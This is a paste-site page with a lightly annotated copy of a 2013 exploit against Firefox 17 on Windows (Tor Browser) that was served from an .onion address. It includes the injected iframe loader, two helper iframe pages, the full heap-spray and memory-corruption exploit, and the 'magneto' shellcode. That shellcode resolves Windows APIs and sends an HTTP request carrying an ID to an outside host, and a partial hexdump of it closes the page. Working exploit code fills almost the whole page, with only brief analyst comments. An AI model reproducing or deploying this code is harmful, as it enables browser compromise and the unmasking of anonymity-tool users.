NSA TOR darkweb javascript firef

From x, 4 Years ago, written in Plain Text, viewed 1'058 times.
URL http://paste.security-portal.cz/view/2d886097 Embed
Download Paste or View Raw
  1. /****************************************************************************
  2.  * Exploits delivered from through nl7qbezu7pqsuone.onion (2013-08-03):
  3.  *
  4.  *  The compromised server inserts a run-of-the-mill unobfuscated iframe
  5.  * injection script; others have observed this and samples have been posted.
  6.  *
  7.  *  The exploit is split across three files and presumably an ultimate
  8.  * payload of malware that was not obtained.
  9.  */
  10.  
  11. // To preserve the JavaScript syntax highlighting, non-JS bits are commented out.
  12.  
  13. /****************************************************************************
  14.  *  A somewhat cleaned up version is presented first, the original exploit
  15.  * as first downloaded follows.
  16.  *
  17.  *  This appears to be an exploit in the Firefox 17 JS runtime. The script
  18.  * does not attempt the exploit unless running on Firefox 17 on Windows.
  19.  */
  20.  
  21. /****************************************************************************
  22.  * A compromised server inserts a script like the following.
  23.  * The XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX is a UUID generated by the server.
  24.  * The exploit host will serve the exploit for any UUID, however.
  25.  * I used 05cea4de-951d-4037-bf8f-f69055b279bb for this analysis.
  26.  * The UUID is embedded in the shellcode.
  27.  */
  28.  
  29. //<script type='text/javascript'>
  30.  
  31. function createCookie(name,value,minutes) {
  32.         if (minutes) {
  33.                 var date = new Date();
  34.                 date.setTime(date.getTime()+(minutes*60*1000));
  35.                 var expires = "; expires="+date.toGMTString();
  36.         }
  37.         else var expires = "";
  38.         document.cookie = name+"="+value+expires+"; path=/";
  39. }
  40.  
  41. function readCookie(name) {
  42.     var nameEQ = name + "=";
  43.     var ca = document.cookie.split(';');
  44.     for(var i=0;i < ca.length;i++) {
  45.         var c = ca[i];
  46.         while (c.charAt(0)==' ') c = c.substring(1,c.length);
  47.         if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
  48.     }
  49.     return null;
  50. }
  51.  
  52. function isFF() {
  53.     return (document.getBoxObjectFor != null || window.mozInnerScreenX != null || /Firefox/i.test(navigator.userAgent));
  54. }
  55.  
  56. function updatify() {
  57.     var iframe = document.createElement('iframe');
  58.     iframe.style.display = "inline";
  59.     iframe.frameBorder = "0";
  60.     iframe.scrolling = "no";
  61.     iframe.src = "http://nl7qbezu7pqsuone.onion?requestID=XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX";
  62.     iframe.height = "5";
  63.     iframe.width = "*";
  64.     document.body.appendChild(iframe);
  65. }
  66.  
  67. function format_quick() {
  68.     if ( ! readCookie("n_serv") ) {
  69.         createCookie("n_serv", "XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX", 30);
  70.         updatify();
  71.     }
  72. }
  73.  
  74. function isReady()
  75. {
  76.     if ( document.readyState === "interactive" || document.readyState === "complete" ) {
  77.    
  78.         if ( isFF() ) {
  79.             format_quick();
  80.         }
  81.     }
  82.     else
  83.     {
  84.         setTimeout(isReady, 250);
  85.     }
  86. }
  87. setTimeout(isReady, 250);
  88. //</script>
  89.  
  90. /****************************************************************************
  91.  *  The exploit server at nl7qbezu7pqsuone.onion also delivers two supporting
  92.  * pieces that are loaded into their own iframes.  Since they are short,
  93.  * they are included before the main exploit.
  94.  *
  95.  * (All lines containing HTML are commented out.)
  96.  */
  97.  
  98. //// "content_2.html"
  99. // <html><body></body></html>
  100. // <script>
  101.   var y="?????", url=window.location.href;
  102.   if(0>url.indexOf(y)) {
  103.     var iframe=document.createElement("iframe");
  104.     iframe.src="content_3.html";
  105.     document.body.appendChild(iframe)
  106.   } else parent.w();
  107.   function df(){return parent.df()};
  108. // </script>
  109.  
  110. //// "content_3.html"
  111. // <script>
  112.   var y="?????",z="<body><img height='1' width='1' src='error.html' onerror=\"javascript: window.location.href='content_2.html?????';\" ></body>",flag=!1,var83=0;
  113.  
  114.   function b() {
  115.     for(var e=Array(1024),d=Array(1024),c=0;1024>c;c++)
  116.       e[c]=new ArrayBuffer(180);
  117.     for(c=0;1024>c;c++)
  118.       d[c]=new Int32Array(e[c],0,45),d[c][9]=var83;
  119.       return d
  120.   }
  121.   function a() {
  122.     !1==flag && (flag=!0,window.stop());
  123.     window.stop();
  124.     b();
  125.     window.parent.frames[0].frameElement.ownerDocument.write(z);
  126.     b()
  127.   }
  128.     var83 = parent.df();
  129.     0!=var83 && document.addEventListener("readystatechange",a,!1);
  130. // </script>
  131.  
  132. //// The main exploit
  133. // <html>
  134. // <body>
  135. // <iframe frameborder=0  border=0 height=1 width=1 id="iframe"> </iframe>     
  136. // </body>
  137. // </html>
  138.  
  139. // <script>
  140.  
  141. var var1=0xB0;
  142. var var2 = new Array(var1);                                    
  143. var var3 = new Array(var1);    
  144. var var4 = new Array(var1);
  145.  
  146. var var5=0xFF004;      
  147. var var6=0x3FC01;  
  148.  
  149. var var7=0x60000000;
  150. var var8=0x18000000;
  151.  
  152.  
  153. var var9=1;
  154.  
  155. var var10 = 0x12000000;
  156. var var11 = 0;
  157. var var12=0; // set in b() if on Firefox 17, read in df()
  158. // exploit will not be attempted unless var12 is set
  159.  
  160. var var13 =0;
  161.  
  162. // top entry point, called as onload handler
  163. function u()
  164. {      
  165.         if( t() == true )
  166.         {
  167.                 var9 = 1;              
  168.                 b();
  169.                 d();
  170.                 c();
  171.         }else{
  172.                 return ;
  173.         }
  174. }
  175.  
  176. function t() // only attempt the exploit once per session
  177. {
  178.         if(typeof sessionStorage.tempStor !="undefined")
  179.                 return false;
  180.         sessionStorage.tempStor="";
  181.         return true;
  182. }
  183.  
  184. function b()
  185. {
  186.         var version = al(); // ensure Firefox on Windows
  187.         if(version <17)  
  188.         {
  189.                 window.location.href="content_1.html";
  190.         } // "content_1.html" was never obtained
  191.         if( version >=17 && version <18 )
  192.                 var12 = 0xE8;
  193.         return ;
  194. }
  195.  
  196. function aj(version) // confirm Windows platform
  197. {
  198.         var i = navigator.userAgent.indexOf("Windows NT");
  199.         if (i != -1)
  200.                 return true;
  201.         return false;
  202. }
  203.  
  204. function ak() // confirm Firefox browser
  205. {
  206.         var ua = navigator.userAgent;
  207.         var browser = ua.substring(0, ua.lastIndexOf("/"));
  208.         browser = browser.substring(browser.lastIndexOf(" ") + 1);
  209.         if (browser != "Firefox")
  210.                 return -1;
  211.  
  212.         var version = ua.substring(ua.lastIndexOf("/") + 1);
  213.         version = parseInt(version.substring(0, version.lastIndexOf(".")));
  214.         return version;
  215. }
  216.  
  217. function al() // get browser version, -1 if not exploitable
  218. {
  219.         version = ak();
  220.  
  221.         if (!aj(version))
  222.                 return -1;
  223.         return version;
  224. }
  225.                
  226. function d()
  227. {
  228.         for(var j=0;j<var1;j++)
  229.         {
  230.                 if( j<var1/8 || j==var1-1)
  231.                 {
  232.                         var tabb = new Array(0x1ED00);
  233.                         var4[j]=tabb;
  234.                         for(i=0;i<0x1ED00;i++)
  235.                         {
  236.                                 var4[j][i]=0x11559944;
  237.                         }      
  238.                 }
  239.                 var2[j]= new ArrayBuffer(var5);
  240.         }
  241.         for(var j=0;j<var1;j++)
  242.         {
  243.                 var3[j]= new Int32Array(var2[j],0,var6);
  244.                 var3[j][0]=0x11336688;                                                                                 
  245.                
  246.                 for(var i=1;i<16;i++)  
  247.                 {                                      
  248.                         var3[j][0x4000*i] = 0x11446688;                                                        
  249.                 }
  250.                        
  251.         }      
  252.  
  253.         for(var j=0;j<var1;j++)
  254.         {
  255.                 if(typeof var4[j] !="undefined")
  256.                 {
  257.                         var4[j][0]=0x22556611;  
  258.                 }
  259.         }
  260. }
  261.  
  262. // load the next piece of the exploit
  263. function c()
  264. {
  265.         var iframe=document.getElementById("iframe");
  266.         iframe.src="content_2.html";
  267. }
  268.  
  269. // functions below here are called from the other iframes
  270.  
  271. // df() is passed through content_2 and used by content_3
  272. // called nowhere else
  273. // The exploit is not attempted if this returns zero.
  274. // Note that var12 will be zero unless on Firefox 17.
  275. // The returned value is used as part of a heap spray in content_3.
  276. function df()
  277. {
  278.         if(var12==0)
  279.         {
  280.                 return 0x00000000;
  281.         }
  282.         var var14 = var10 + 0x00010000 * var11 + 0x0000002B;
  283.  
  284.         if( var9 == 1 || var9 == 2)
  285.                 return ( var14 - var12);
  286.         else
  287.                 return 0x00000000;
  288. }
  289.  
  290. // w() is called from the second time content_2 is loaded
  291. function w()
  292. {
  293.         if(var9==1)
  294.                 v();
  295.         else
  296.                 x();
  297. }
  298.  
  299. function v()
  300. {
  301.         if(k() == -1)
  302.         {
  303.                 var11 = p();
  304.                 var9 = 2;      
  305.                 c();
  306.         }else{
  307.                 x();
  308.         }
  309. }
  310.  
  311. //  This quickly becomes a huge mess that is obviously depending
  312. // on the JS runtime to screw up in some arcane way.  Little is
  313. // known about the actual exploit, other than some apparent
  314. // shellcode in function f().  Here be dragons.
  315.  
  316. function k()
  317. {
  318.         for(var j=0;j<var1;j++)
  319.         {
  320.                 if(var2[j].byteLength!=var5)
  321.                 {
  322.                         return j;
  323.                 }
  324.         }
  325.         return -1;
  326. }
  327.  
  328. function p()
  329. {
  330.         for(var j=0;j<var1;j++)
  331.         {
  332.                 for(var i=1;i<16;i++)
  333.                 {
  334.                         if(var3[j][i*0x4000-0x02]==0x01000000)
  335.                         {
  336.                                 return -i;
  337.                         }
  338.                 }
  339.         }
  340.         return 0;
  341. }
  342.  
  343. function x()
  344. {
  345.  
  346.         var var60 = k();
  347.         if(var60==-1)
  348.                 return ;                       
  349.  
  350.         var nextvar60 = q(var60);
  351.         if(nextvar60==-1)
  352.                 return ;                               
  353.                
  354.         var var61 = o(var60);
  355.         var var62  = new Int32Array(var2[nextvar60],0,var8);
  356.         var var58 = n(var62,var61);
  357.         if(var58==-1)
  358.                 return ;                       
  359.  
  360.         var var50 = m(var62,var58);
  361.  
  362.         var13 = var10 + 0x00100000 + 0x00010000 * var11;
  363.         e(var62);
  364.  
  365.         l(var62,var58);
  366.  
  367.         var var64 = var4[var50][0];
  368.  
  369.         ac(var64,var50,var62,var58,var60);
  370. }
  371.  
  372. function q(var60)
  373. {
  374.         var view  = new Int32Array(var2[var60],0,0x00040400);
  375.         view[0x00100000/4-0x02]=var7;
  376.         if(var2[var60+1].byteLength==var7)
  377.                 return var60+1;
  378.         return -1;
  379. }
  380.  
  381. function o(var60)
  382. {
  383.         var view  = new Int32Array(var2[var60],0,0x00040400);
  384.  
  385.         var var59 = view[0x00100000/4-0x0C];
  386.         var var57 = var10 + 0x00100000 + 0x00010000 * var11;   
  387.  
  388.         return ((var59 - var57)/4);
  389. }
  390.  
  391. function n(view,firstvar58)
  392. {
  393.         var var57 = var10 + 0x00100000 + 0x00010000 * var11;   
  394.         var var58=0;
  395.         for(var i=0;i<200;i++)
  396.         {
  397.                 if(view[var58] != 0x11336688)  
  398.                 {
  399.                         if(view[var58] == 0x22556611 )  
  400.                                 return  var58;
  401.                         else
  402.                                 return -1;
  403.                 }
  404.                 if(var58==0)
  405.                 {
  406.                         var58 = firstvar58;
  407.                 }else{
  408.                         var var59=view[var58-0x0C];
  409.                         var58 = (var59 - var57)/4;
  410.                 }
  411.         }
  412.         return -1;
  413. }
  414.  
  415. function m(view,var58)
  416. {
  417.         view[var58]=0x00000000;  
  418.         for(var j=0;j<var1;j++)
  419.         {
  420.                 if(typeof var4[j] !="undefined")
  421.                 {
  422.                         if(var4[j][0]!=0x22556611)
  423.                                 return j;
  424.                 }
  425.         }
  426.         return -1
  427. }
  428.  
  429. function e(view)
  430. {
  431.         var i=0;
  432.         for(i=0;i<0x400;i++)
  433.         {
  434.                 view[i] = var13+0x1010 ;
  435.         }
  436.         view[0x0]=var13+0x1010;                
  437.         view[0x44]=0x0;                        
  438.         view[0x45]=0x0;                        
  439.         view[0x400-4]=var13+0x1010;    
  440.         view[0x400]=0x00004004;                        
  441.         view[0x401]=0x7FFE0300;                        
  442. }
  443.  
  444. function l(view,var58)
  445. {
  446.         view[var58] = var13 + 0x1030;  
  447.         view[var58+1] = 0xFFFFFF85;            
  448. }
  449.  
  450. function ac(var64,var50,var62,var58,var60)
  451. {
  452.         var var15=ah(var64);
  453.  
  454.         f(var15,var62,var58);
  455.  
  456.         y(var50);
  457.         var var66 = aa(var62,var58+2);
  458.  
  459.         var var67 = i(var66,0x40,var50,var62) ;
  460.         j(var67,var62);
  461.  
  462.         g(var50,var62);
  463.         ab(var13+0x1040 ,var62,var58+2);
  464.  
  465.         r(var60)
  466.         setTimeout(ad,1000);
  467.         z(var50);
  468. }      
  469.  
  470. function ah(var73)
  471. {
  472.         var var74 = var73.substring(0,2);
  473.     var var70 = var74.charCodeAt(0);
  474.     var var71 = var74.charCodeAt(1);
  475.     var var75 = (var71 << 16) + var70;
  476.     if (var75 == 0)
  477.     {
  478.         var var76 = var73.substring(32, 34);
  479.         var var70 = var76.charCodeAt(0);
  480.         var var71 = var76.charCodeAt(1);
  481.         var75 = (var71 << 16) + var70;
  482.     }
  483.     var var15 = am(var75);
  484.     if (var15 == -1)
  485.     {
  486.         return;
  487.     }
  488.     return var15
  489. }
  490.  
  491. function am(var77)
  492. {
  493.     var var15 = new Array(2);
  494.      if (var77 % 0x10000 == 0xE510)                                    
  495.      {      
  496.         var78 = var77 - 0xE510;
  497.         var15[0] = var78 + 0xE8AE;                  
  498.         var15[1] = var78 + 0xD6EE;                  
  499.     }
  500.     else if (var77 % 0x10000 == 0x9A90)                        
  501.     {  
  502.         var78 = var77 - 0x69A90;
  503.         var15[0] = var78 + 0x6A063;                
  504.         var15[1] = var78 + 0x68968;                  
  505.     }
  506.     else if (var77 % 0x10000 == 0x5E70)                                
  507.     {  
  508.         var78 = var77 - 0x65E70;
  509.         var15[0] = var78 + 0x66413;                  
  510.         var15[1] = var78 + 0x64D34;                
  511.     }
  512.     else if (var77 % 0x10000 == 0x35F3)                                
  513.     {  
  514.         var78 = var77 - 0x335F3;
  515.         var15[0] = var78 + 0x4DE13;                  
  516.         var15[1] = var78 + 0x49AB8;                  
  517.     }
  518.     else if (var77 % 0x10000 == 0x5CA0)                                
  519.     {  
  520.         var78 = var77 - 0x65CA0;
  521.         var15[0] = var78 + 0x66253;                
  522.         var15[1] = var78 + 0x64B84;                  
  523.     }
  524.     else if (var77 % 0x10000 == 0x5CD0)                                
  525.     {  
  526.         var78 = var77 - 0x65CD0;
  527.         var15[0] = var78 + 0x662A3;                  
  528.         var15[1] = var78 + 0x64BA4;                
  529.        
  530.     }
  531.     else if (var77 % 0x10000 == 0x6190)                        
  532.     {
  533.         var78 = var77 - 0x46190;
  534.         var15[0] = var78 + 0x467D3;                
  535.         var15[1] = var78 + 0x45000;                  
  536.        
  537.     }
  538.     else if (var77 % 0x10000 == 0x9CB9)                        
  539.     {  
  540.         var78 = var77 - 0x29CB9;
  541.         var15[0] = var78 + 0x29B83;                
  542.         var15[1] = var78 + 0xFFC8;                  
  543.     }
  544.     else if (var77 % 0x10000 == 0x9CE9)                
  545.     {  
  546.         var78 = var77 - 0x29CE9;
  547.         var15[0] = var78 + 0x29BB3;                
  548.         var15[1] = var78 + 0xFFD8;                  
  549.     }
  550.     else if (var77 % 0x10000 == 0x70B0)                                
  551.     {  
  552.         var78 = var77 - 0x470B0;
  553.         var15[0] = var78 + 0x47733;                  
  554.         var15[1] = var78 + 0x45F18;                
  555.     }
  556.     else if (var77 % 0x10000 == 0x7090)                        
  557.     {  
  558.         var78 = var77 - 0x47090;
  559.         var15[0] = var78 + 0x476B3;              
  560.         var15[1] = var78 + 0x45F18;                
  561.     }
  562.     else if (var77 % 0x10000 == 0x9E49)                        
  563.     {
  564.         var78 = var77 - 0x29E49;
  565.         var15[0] = var78 + 0x29D13;                
  566.         var15[1] = var78 + 0x10028;                
  567.     }
  568.     else if (var77 % 0x10000 == 0x9E69)                
  569.     {
  570.         var78 = var77 - 0x29E69;
  571.         var15[0] = var78 + 0x29D33;              
  572.         var15[1] = var78 + 0x10018;              
  573.     }
  574.    
  575.     else if (var77 % 0x10000 == 0x9EB9)                
  576.     {
  577.         var78 = var77 - 0x29EB9;       
  578.         var15[0] = var78 + 0x29D83;              
  579.         var15[1] = var78 + 0xFFC8;              
  580.     }
  581.     else
  582.     {
  583.         return -1;                        
  584.     }
  585.    
  586.     return var15;
  587. }
  588.  
  589. function f(var15,view,var16)
  590. {
  591.         var magneto = "";
  592.         var magneto = ("\ufc60\u8ae8"+"\u0000\u6000"+"\ue589\ud231"+"\u8b64\u3052"+"\u528b\u8b0c"+"\u1452\u728b"+"\u0f28\u4ab7"+"\u3126\u31ff"+"\uacc0\u613c"+"\u027c\u202c"+"\ucfc1\u010d"+"\ue2c7\u52f0"+"\u8b57\u1052"+"\u428b\u013c"+"\u8bd0\u7840"+"\uc085\u4a74"+"\ud001\u8b50"+"\u1848\u588b"+"\u0120\ue3d3"+"\u493c\u348b"+"\u018b\u31d6"+"\u31ff\uacc0"+"\ucfc1\u010d"+"\u38c7\u75e0"+"\u03f4\uf87d"+"\u7d3b\u7524"+"\u58e2\u588b"+"\u0124\u66d3"+"\u0c8b\u8b4b"+"\u1c58\ud301"+"\u048b\u018b"+"\u89d0\u2444"+"\u5b24\u615b"+"\u5a59\uff51"+"\u58e0\u5a5f"+"\u128b\u86eb"+"\u5d05\ubd81"+"\u02e9\u0000"+"\u4547\u2054"+"\u7075\u858d"+"\u02d1\u0000"+"\u6850\u774c"+"\u0726\ud5ff"+"\uc085\u5e74"+"\u858d\u02d8"+"\u0000\u6850"+"\u774c\u0726"+"\ud5ff\uc085"+"\u4c74\u90bb"+"\u0001\u2900"+"\u54dc\u6853"+"\u8029\u006b"+"\ud5ff\udc01"+"\uc085\u3675"+"\u5050\u5050"+"\u5040\u5040"+"\uea68\udf0f"+"\uffe0\u31d5"+"\uf7db\u39d3"+"\u74c3\u891f"+"\u6ac3\u8d10"+"\ue1b5\u0002"+"\u5600\u6853"+"\ua599\u6174"+"\ud5ff\uc085"+"\u1f74\u8dfe"+"\u0089\u0000"+"\ue375\ubd80"+"\u024f\u0000"+"\u7401\ue807"+"\u013b\u0000"+"\u05eb\u4de8"+"\u0001\uff00"+"\ub8e7\u0100"+"\u0000\uc429"+"\ue289\u5052"+"\u6852\u49b6"+"\u01de\ud5ff"+"\u815f\u00c4"+"\u0001\u8500"+"\u0fc0\uf285"+"\u0000\u5700"+"\uf9e8\u0000"+"\u5e00\uca89"+"\ubd8d\u02e9"+"\u0000\uebe8"+"\u0000\u4f00"+"\ufa83\u7c20"+"\uba05\u0020"+"\u0000\ud189"+"\uf356\ub9a4"+"\u000d\u0000"+"\ub58d\u02c4"+"\u0000\ua4f3"+"\ubd89\u024b"+"\u0000\u565e"+"\ua968\u3428"+"\uff80\u85d5"+"\u0fc0\uaa84"+"\u0000\u6600"+"\u488b\u660a"+"\uf983\u0f04"+"\u9c82\u0000"+"\u8d00\u0c40"+"\u008b\u088b"+"\u098b\u00b8"+"\u0001\u5000"+"\ue789\uc429"+"\ue689\u5657"+"\u5151\u4868"+"\ud272\uffb8"+"\u85d5\u81c0"+"\u04c4\u0001"+"\u0f00\u0fb7"+"\uf983\u7206"+"\ub96c\u0006"+"\u0000\u10b8"+"\u0000\u2900"+"\u89c4\u89e7"+"\ud1ca\u50e2"+"\u3152\u8ad2"+"\u8816\u24d0"+"\uc0f0\u04e8"+"\u093c\u0477"+"\u3004\u02eb"+"\u3704\u0788"+"\u8847\u24d0"+"\u3c0f\u7709"+"\u0404\ueb30"+"\u0402\u8837"+"\u4707\ue246"+"\u59d4\ucf29"+"\ufe89\u0158"+"\u8bc4\u4bbd"+"\u0002\uf300"+"\uc6a4\u4f85"+"\u0002\u0100"+"\u2ee8\u0000"+"\u3100\u50c0"+"\u2951\u4fcf"+"\u5357\uc268"+"\u38eb\uff5f"+"\u53d5\u7568"+"\u4d6e\uff61"+"\ue9d5\ufec8"+"\uffff\uc931"+"\ud1f7\uc031"+"\uaef2\ud1f7"+"\uc349\u0000"+"\u0000\u8d00"+"\ue9bd\u0002"+"\ue800\uffe4"+"\uffff\ub94f"+"\u004f\u0000"+"\ub58d\u0275"+"\u0000\ua4f3"+"\ubd8d\u02e9"+"\u0000\ucbe8"+"\uffff\uc3ff"+"\u0a0d\u6f43"+"\u6e6e\u6365"+"\u6974\u6e6f"+"\u203a\u656b"+"\u7065\u612d"+"\u696c\u6576"+"\u0a0d\u6341"+"\u6563\u7470"+"\u203a\u2f2a"+"\u0d2a\u410a"+"\u6363\u7065"+"\u2d74\u6e45"+"\u6f63\u6964"+"\u676e\u203a"+"\u7a67\u7069"+"\u0a0d\u0a0d"+"\u8300\u0ec7"+"\uc931\ud1f7"+"\uc031\uaef3"+"\uff4f\u0de7"+"\u430a\u6f6f"+"\u696b\u3a65"+"\u4920\u3d44"+"\u7377\u5f32"+"\u3233\u4900"+"\u4850\u504c"+"\u5041\u0049"+"\u0002\u5000"+"\ude41\u36ca"+"\u4547\u2054"+"\u302f\u6335"+"\u6165\u6434"+"\u2d65\u3539"+"\u6431\u342d"+"\u3330\u2d37"+"\u6662\u6638"+"\u662d\u3936"+"\u3530\u6235"+"\u3732\u6239"+"\u2062\u5448"+"\u5054\u312f"+"\u312e\u0a0d"+"\u6f48\u7473"+"\u203a\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u9000"+"");
  593.         var var29 = magneto;
  594.         var var17 = "\u9060";
  595.         var var18 = "\u9061";
  596.         var var19 = "\uC481\u0000\u0008" ;
  597.         var var20 = "\u2589\u3000"+String.fromCharCode((var13 >> 16)  & 0x0000FFFF);
  598.         var var21="\u258B\u3000"+String.fromCharCode((var13 >> 16)  & 0x0000FFFF);
  599.         var var22 = "\uE589";
  600.         var var23 ="\uC3C9";
  601.         var var24  = "\uE889";        
  602.         var24 += "\u608D\u90C0";      
  603.  
  604.         var var25 = var10 + 0x00010000 * var11 + 0x00000030 + 0x00100000;
  605.         var var26 = var25 + var16*4
  606.  
  607.         var var27 =""
  608.         var27 += "\uB890\u2020\u2020";                                               
  609.         var27 += "\uA390"+ae(var26+0x00);
  610.         var27 += "\uA390"+ae(var26+0x04);
  611.         var27 += "\uA390"+ae(var26+0x08);
  612.         var27 += "\uA390"+ae(var26+0x0C);
  613.  
  614.         var var28  = var17;
  615.         var28 += var20;
  616.         var28 += var19;
  617.         var28 += var22;
  618.         var28 += var27;
  619.         var28 += var29;
  620.     var28 += var21;
  621.     var28 += var18;
  622.     var28 += var23;
  623.         var var29Array = new Array();
  624.         var29Array=ag(var28);
  625.  
  626.         var var29Ad = var13+0x5010;
  627.         var i=0;
  628.         var j=0;
  629.         var var30=var13+0x4048;
  630.         var var31 = new Array();
  631.  
  632.         var31[0]=var30;                        
  633.         var31[1]=var30;                        
  634.         var31[2]=var30;                        
  635.         var31[3]=var15[1];                     
  636.         var31[4]=var29Ad;              
  637.         var31[5]=0xFFFFFFFF;                   
  638.         var31[6]=var13+0x4044; 
  639.         var31[7]=var13+0x4040; 
  640.         var31[8]=0x00000040;                   
  641.         var31[9]=var13+0x4048; 
  642.         var31[10]=0x00040000;          
  643.         var31[11]=var29Ad;             
  644.         var31[12]=var13+0x301C;
  645.                
  646.         for(var i=0 ; i < 0x140 ; i++)
  647.         {
  648.                 var31[i+15]=var15[0];
  649.         }      
  650.         var var32 = 0x3F8;             
  651.         view[0x800+0+var32]=var13+0x4018;  
  652.         view[0x800+1+var32]=var13+0x4018;
  653.         for(var i=2 ; i < var31.length  ; i++)
  654.         {
  655.                 view[0x800+i+var32]=  0x41414141;
  656.         }              
  657.         for(var i=0 ; i < var31.length  ; i++)
  658.         {
  659.                 view[0xC02+i+var32]=  var31[i];
  660.         }                              
  661.         for(var i=0 ; i < var29Array.length ; i++)
  662.         {
  663.                 view[0x1000 + i+var32] = var29Array[i];
  664.         }                      
  665.        
  666. }
  667.  
  668. function ae(int32)
  669. {
  670.     var var68 = String.fromCharCode((int32)& 0x0000FFFF);
  671.     var var69 = String.fromCharCode((int32 >> 16)  & 0x0000FFFF);
  672.     return var68+var69;
  673. }  
  674.    
  675. function af(string)
  676. {              
  677.     var var70 = string.charCodeAt(0);
  678.     var var71 = string.charCodeAt(1);
  679.     var var72 = (var71 << 16) + var70;
  680.         return var72;
  681. }      
  682.                
  683. function ag(string)
  684. {      
  685.         if(string.length%2!=0)
  686.                 string+="\u9090";
  687.         var intArray= new Array();
  688.         for(var i=0 ; i*2 < string.length; i++ )
  689.                 intArray[i]=af(string[i*2]+string[i*2+1]);
  690.         return intArray;
  691. }      
  692.                
  693. function y(index)
  694. {
  695.         var4[index][1]= document.createElement('span') ;
  696. }              
  697.  
  698. function aa(view,var63)
  699. {
  700.         return view[var63];
  701. }      
  702.  
  703. function i(address,size,var50,view)
  704. {
  705.         var var56 = size/2;
  706.         var56 = var56*0x10 +0x04;
  707.         view[0x400]=var56;               
  708.         view[0x401]=address;    
  709.         return var4[var50][0];
  710. }
  711.  
  712. function j(memory,view)
  713. {
  714.         var intArray=ag(memory);
  715.         for(var i=0 ; i < intArray.length  ; i++)
  716.         {
  717.                 view[0x404+i]=intArray[i];             
  718.         }
  719. }
  720.  
  721. function g(var50,view)
  722. {
  723.         var k = h(var50,view);
  724.         var j=0;
  725.         if( k < 0 )
  726.                 return -1;
  727.         view[0x404+k]=var13+0x3010;
  728.         return 1;
  729. }
  730.  
  731. function h(var50,view)
  732. {
  733.         var address=0;
  734.         var u=0;
  735.         var memory="";
  736.         var var55=0;
  737.         for( u =7; u >=4 ;u--)
  738.         {
  739.                 address=view[0x404+u];
  740.                 if( address > 0x000A0000 && address < 0x80000000 )  
  741.                 {
  742.                         memory = i(address,0x48,var50,view);
  743.                         var55=af(memory[0x14]+memory[0x15]);
  744.                         if(var55==address)
  745.                         {
  746.                                 return u;
  747.                         }                              
  748.                 }
  749.         }
  750.         return -1;
  751. }
  752.  
  753. function ab(address,view,var63)
  754. {
  755.         view[var63]=address;
  756. }      
  757.  
  758. function r(var60)
  759. {
  760.         var view  = new Int32Array(var2[var60],0,0x00040400);
  761.         view[0x00100000/4-0x02]=var5;
  762. }
  763.  
  764. function z(index,index2)
  765. {
  766.         var4[index][1].innerHTML;
  767. }              
  768.  
  769. // ad() is called through setTimeout
  770. function ad()
  771. {
  772.         for(var j=0;j<var1;j++)
  773.         {
  774.                 delete var3[j]
  775.                 var3[j]= null;
  776.                
  777.                 delete var2[j];
  778.                 var2[j] = null;
  779.  
  780.                 if(typeof var4[j] !="undefined")
  781.                 {
  782.                         delete var4[j];        
  783.                         var4[j] = null;
  784.                 }      
  785.         }      
  786.         delete var2;
  787.         delete var3;
  788.         delete var4;   
  789.         var2=null;
  790.         var3=null;
  791.         var4=null;     
  792. }
  793.  
  794. window.addEventListener("onload", u(),true);
  795.  
  796. // </script>
  797.  
  798. /****************************************************************************
  799.  * This a hexdump of the shellcode block as "var magneto" in f() above.
  800.  */
  801. //  0000  60 fc e8 8a 00 00 00 60  89 e5 31 d2 64 8b 52 30  |`......`..1.d.R0|
  802. //  0010  8b 52 0c 8b 52 14 8b 72  28 0f b7 4a 26 31 ff 31  |.R..R..r(..J&1.1|
  803. //  0020  c0 ac 3c 61 7c 02 2c 20  c1 cf 0d 01 c7 e2 f0 52  |..<a|., .......R|
  804. //  0030  57 8b 52 10 8b 42 3c 01  d0 8b 40 78 85 c0 74 4a  |W.R..B<...@x..tJ|
  805. //  0040  01 d0 50 8b 48 18 8b 58  20 01 d3 e3 3c 49 8b 34  |..P.H..X ...<I.4|
  806. //  0050  8b 01 d6 31 ff 31 c0 ac  c1 cf 0d 01 c7 38 e0 75  |...1.1.......8.u|
  807. //  0060  f4 03 7d f8 3b 7d 24 75  e2 58 8b 58 24 01 d3 66  |..}.;}$u.X.X$..f|
  808. //  0070  8b 0c 4b 8b 58 1c 01 d3  8b 04 8b 01 d0 89 44 24  |..K.X.........D$|
  809. //  0080  24 5b 5b 61 59 5a 51 ff  e0 58 5f 5a 8b 12 eb 86  |$[[aYZQ..X_Z....|
  810. //  0090  05 5d 81 bd e9 02 00 00  47 45 54 20 75 70 8d 85  |.]......GET up..|
  811. //  00a0  d1 02 00 00 50 68 4c 77  26 07 ff d5 85 c0 74 5e  |....PhLw&.....t^|
  812. //  00b0  8d 85 d8 02 00 00 50 68  4c 77 26 07 ff d5 85 c0  |......PhLw&.....|
  813. //  00c0  74 4c bb 90 01 00 00 29  dc 54 53 68 29 80 6b 00  |tL.....).TSh).k.|
  814. //  00d0  ff d5 01 dc 85 c0 75 36  50 50 50 50 40 50 40 50  |......u6PPPP@P@P|
  815. //  00e0  68 ea 0f df e0 ff d5 31  db f7 d3 39 c3 74 1f 89  |h......1...9.t..|
  816. //  00f0  c3 6a 10 8d b5 e1 02 00  00 56 53 68 99 a5 74 61  |.j.......VSh..ta|
  817. //  0100  ff d5 85 c0 74 1f fe 8d  89 00 00 00 75 e3 80 bd  |....t.......u...|
  818. //  0110  4f 02 00 00 01 74 07 e8  3b 01 00 00 eb 05 e8 4d  |O....t..;......M|
  819. //  0120  01 00 00 ff e7 b8 00 01  00 00 29 c4 89 e2 52 50  |..........)...RP|
